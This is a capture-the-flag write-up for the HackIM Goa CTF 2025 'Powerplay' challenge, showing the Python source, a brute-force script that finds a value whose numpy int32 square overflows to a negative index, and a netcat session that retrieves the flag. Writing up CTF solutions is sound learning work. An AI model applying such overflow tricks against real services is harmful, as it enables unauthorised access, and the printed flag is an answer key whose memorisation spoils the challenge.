HackIM Goa CTF 2025 - Powerplay
Welcome to our playground for powerful people where you can pump yourself up and get awesome prizes!

HackIM Goa CTF 2025 - Powerplay

Also available on my website

Challenge

Here's what the challenge looks like:


The screenshot of the challenge showing an ip:port and link to the code.
I could use some inspiration right about now...

And here's the full code:

import numpy as np
from secret import flag, quotes

prizes = quotes + ['missingno'] * 4 + [flag] * 24

if __name__ == '__main__':
	print('Welcome to our playground for powerful people where you can pump yourself up and get awesome prizes!\n')
	player_count = int(input('How many players participate?\n'))
	power = np.zeros(player_count, dtype = np.int32)
	for i in range(player_count):
		power[i] = int(input(f'Player {i}, how strong are you right now?\n'))
	ready = False

	while True:
		print('What do you want to do?\n1) pump up\n2) cash in')
		option = int(input())
		if option == 1:
			power = power**2
			ready = True
		elif option == 2:
			if not ready:
				raise Exception('Nope, too weak')
			for i in range(player_count):
				if power[i] < len(quotes):
					print(f'You got an inspiration: {prizes[power[i]]}')
			exit()
		else:
			raise Exception('What?')        

Analysis

There's a prizes variable that contains an unspecified number of quotes, 4 'missingno' strings, and 24 copies of the flag. Furthermore, we can retrieve the flag by attaining the correct power level.

The issue here is that we only get a quote if our power level is less than or equal to the number of quotes: if power[i] < len(quotes):. The leaves but one option: going backwards via a negative number! Also a quick note that we need to "power-up" at least once before we can get an "inspiration".

As far as I'm aware, Python3 numbers are infinite, so there's no way to overflow them. Luckily, the challenge uses numpy's int32s: np.zeros(player_count, dtype = np.int32). The challenge is thusly to find some number that, once squared, will become a number between -24 and -1.

Solution

A quick brute-force should do the trick:

import numpy as np

for i in reversed(range(np.iinfo(np.int32).max)):
    a = np.array([i], np.int32)
    a = a ** 2
    if a[0] <= -1 and a[0] >= -24:
        print(i)
        exit(0)        

We run the script, and few short moments later...

? python /mnt/kali/ctf/nullcon2025/powerplay/find.py
2112767193        

A quick trip over to the challenge:

? nc 52.59.124.14 5016
Welcome to our playground for powerful people where you can pump yourself up and get awesome prizes!

How many players participate?
1
Player 0, how strong are you right now?
2112767193
What do you want to do?
1) pump up
2) cash in
1
What do you want to do?
1) pump up
2) cash in
2
You got an inspiration: ENO{d0_n0t_be_s0_neg4t1ve_wh3n_y0u_sh0uld_be_pos1t1ve}        

And we have the flag!


要查看或添加评论,请登录

Tim M.的更多文章

  • HackIM Goa CTF 2025 - Sess.io

    HackIM Goa CTF 2025 - Sess.io

    Also available on my website Challenge Here's what the challenge looks like: Long, you say? Imagine the entropy!! And…

  • HackIM Goa CTF 2025 - ZONEy

    HackIM Goa CTF 2025 - ZONEy

    Also available on my website Challenge Here's what the challenge looks like: A quick connect via netcat shows no…

  • UofTCTF 2025 - CodeDB

    UofTCTF 2025 - CodeDB

    This was the challenge I was most happiest to complete because, spoiler alert: it was my first change to perform a…

  • UofTCTF 2025 - Out of the Container

    UofTCTF 2025 - Out of the Container

    It's been a little bit since I've done a CTF, let alone a write-up! I've been focusing on the job search and haven't…

  • The power of C# local functions!

    The power of C# local functions!

    I'm in-between CTFs and a bit bored, so why not a programming-related article! Local functions Introduction Local…

  • NahamCon CTF 2024 - LogJam (sorta)

    NahamCon CTF 2024 - LogJam (sorta)

    This challenge I didn't have time to even start, but, since forensics is fun, I wanted to give it a try even after the…

  • NahamCon CTF 2024 - Taking Up Residence

    NahamCon CTF 2024 - Taking Up Residence

    Another fun one! This was the final challenge I completed before heading to bed..

    1 条评论
  • NahamCon CTF 2024 - Macro Madness

    NahamCon CTF 2024 - Macro Madness

    Well this was a fun one! This is a three part challenge, where each individual part awards its own points, and the…

  • NahamCon CTF 2024 - Curly Fries

    NahamCon CTF 2024 - Curly Fries

    美味しそう~ While this challenge was probably child's play for those more experienced, I found it rather amusing and fun…

  • NahamCon CTF 2024 - Thomas DEVerson

    NahamCon CTF 2024 - Thomas DEVerson

    More CTFs, more opportunities to create write-ups that will hopefully connect me with a job! Here's the challenge:…

社区洞察

其他会员也浏览了